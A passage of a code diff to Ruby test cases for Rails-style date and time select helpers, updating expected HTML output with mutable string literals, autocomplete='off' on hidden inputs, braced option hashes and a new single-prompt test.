     expected << "</select>\n"
 
@@ -1258,7 +1317,7 @@ def test_select_datetime_with_ampm
   end
 
   def test_select_datetime_with_separators
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1286,7 +1345,7 @@ def test_select_datetime_with_separators
   end
 
   def test_select_datetime_with_nil_value_and_no_start_and_end_year
-    expected = %(<select id="date_first_year" name="date[first][year]">\n)
+    expected = +%(<select id="date_first_year" name="date[first][year]">\n)
     (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
     expected << "</select>\n"
 
@@ -1314,7 +1373,7 @@ def test_select_datetime_with_nil_value_and_no_start_and_end_year
   end
 
   def test_select_datetime_with_html_options
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]" class="selector">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1338,11 +1397,11 @@ def test_select_datetime_with_html_options
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { start_year: 2003, end_year: 2005, prefix: "date[first]" }, class: "selector")
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { start_year: 2003, end_year: 2005, prefix: "date[first]" }, { class: "selector" })
   end
 
   def test_select_datetime_with_all_separators
-    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]" class="selector">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1370,7 +1429,7 @@ def test_select_datetime_with_all_separators
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { datetime_separator: "&mdash;", date_separator: "/", time_separator: ":", start_year: 2003, end_year: 2005, prefix: "date[first]" }, class: "selector")
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { datetime_separator: "&mdash;", date_separator: "/", time_separator: ":", start_year: 2003, end_year: 2005, prefix: "date[first]" }, { class: "selector" })
   end
 
   def test_select_datetime_should_work_with_date
@@ -1378,7 +1437,7 @@ def test_select_datetime_should_work_with_date
   end
 
   def test_select_datetime_with_default_prompt
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="">Year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1407,7 +1466,7 @@ def test_select_datetime_with_default_prompt
   end
 
   def test_select_datetime_with_custom_prompt
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1436,7 +1495,7 @@ def test_select_datetime_with_custom_prompt
   end
 
   def test_select_datetime_with_generic_with_css_classes
-    expected =  %(<select id="date_year" name="date[year]" class="year">\n)
+    expected =  +%(<select id="date_year" name="date[year]" class="year">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1464,7 +1523,7 @@ def test_select_datetime_with_generic_with_css_classes
   end
 
   def test_select_datetime_with_custom_with_css_classes
-    expected =  %(<select id="date_year" name="date[year]" class="my-year">\n)
+    expected =  +%(<select id="date_year" name="date[year]" class="my-year">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1492,7 +1551,7 @@ def test_select_datetime_with_custom_with_css_classes
   end
 
   def test_select_datetime_with_custom_hours
-    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected =  +%(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
     expected << "</select>\n"
 
@@ -1521,11 +1580,11 @@ def test_select_datetime_with_custom_hours
   end
 
   def test_select_datetime_with_hidden
-    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
-    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
-    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+    expected =  +%(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" autocomplete="off" />\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" autocomplete="off" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" autocomplete="off" />\n)
+    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" autocomplete="off" />\n)
+    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" autocomplete="off" />\n)
 
     assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), prefix: "date[first]", use_hidden: true)
     assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), datetime_separator: "&mdash;", date_separator: "/",
@@ -1533,9 +1592,9 @@ def test_select_datetime_with_hidden
   end
 
   def test_select_time
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
 
     expected << %(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
@@ -1552,9 +1611,9 @@ def test_select_time
   end
 
   def test_select_time_with_ampm
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
 
     expected << %(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
@@ -1570,9 +1629,9 @@ def test_select_time_with_ampm
   end
 
   def test_select_time_with_separator
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
     expected << %(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
     expected << "</select>\n"
@@ -1588,9 +1647,9 @@ def test_select_time_with_separator
   end
 
   def test_select_time_with_seconds
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
 
     expected << %(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
@@ -1612,9 +1671,9 @@ def test_select_time_with_seconds
   end
 
   def test_select_time_with_seconds_and_separator
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
 
     expected << %(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
@@ -1636,9 +1695,9 @@ def test_select_time_with_seconds_and_separator
   end
 
   def test_select_time_with_html_options
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
 
     expected << %(<select id="date_hour" name="date[hour]" class="selector">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
@@ -1650,8 +1709,8 @@ def test_select_time_with_html_options
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, class: "selector")
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), { include_seconds: false }, class: "selector")
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, { class: "selector" })
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), { include_seconds: false }, { class: "selector" })
   end
 
   def test_select_time_should_work_with_date
@@ -1659,9 +1718,9 @@ def test_select_time_should_work_with_date
   end
 
   def test_select_time_with_default_prompt
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
 
     expected << %(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
@@ -1683,9 +1742,9 @@ def test_select_time_with_default_prompt
   end
 
   def test_select_time_with_custom_prompt
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
 
     expected << %(<select id="date_hour" name="date[hour]">\n)
     expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
@@ -1708,9 +1767,9 @@ def test_select_time_with_custom_prompt
   end
 
   def test_select_time_with_generic_with_css_classes
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
 
     expected << %(<select id="date_hour" name="date[hour]" class="hour">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
@@ -1731,10 +1790,35 @@ def test_select_time_with_generic_with_css_classes
     assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: true, with_css_classes: true)
   end
 
+  def test_select_time_with_a_single_default_prompt
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
+
+    expected << %(<select id="date_hour" name="date[hour]">\n)
+    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_second" name="date[second]">\n)
+    expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), include_seconds: true,
+      prompt: { hour: true, minute: "Choose minute", second: "Choose seconds" })
+  end
+
   def test_select_time_with_custom_with_css_classes
-    expected = %(<input name="date[year]" id="date_year" value="2003" type="hidden" />\n)
-    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" />\n)
-    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" />\n)
+    expected = +%(<input name="date[year]" id="date_year" value="2003" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[month]" id="date_month" value="8" type="hidden" autocomplete="off" />\n)
+    expected << %(<input name="date[day]" id="date_day" value="16" type="hidden" autocomplete="off" />\n)
 
     expected << %(<select id="date_hour" name="date[hour]" class="my-hour">\n)
     expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
@@ -1756,11 +1840,11 @@ def test_select_time_with_custom_with_css_classes
   end
 
   def test_select_time_with_hidden
-    expected =  %(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" />\n)
-    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" />\n)
-    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" />\n)
-    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" />\n)
+    expected =  +%(<input id="date_first_year" name="date[first][year]" type="hidden" value="2003" autocomplete="off" />\n)
+    expected << %(<input id="date_first_month" name="date[first][month]" type="hidden" value="8" autocomplete="off" />\n)
+    expected << %(<input id="date_first_day" name="date[first][day]" type="hidden" value="16" autocomplete="off" />\n)
+    expected << %(<input id="date_first_hour" name="date[first][hour]" type="hidden" value="8" autocomplete="off" />\n)
+    expected << %(<input id="date_first_minute" name="date[first][minute]" type="hidden" value="4" autocomplete="off" />\n)
 
     assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), prefix: "date[first]", use_hidden: true)
     assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), time_separator: ":", prefix: "date[first]", use_hidden: true)
@@ -1770,7 +1854,7 @@ def test_date_select
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
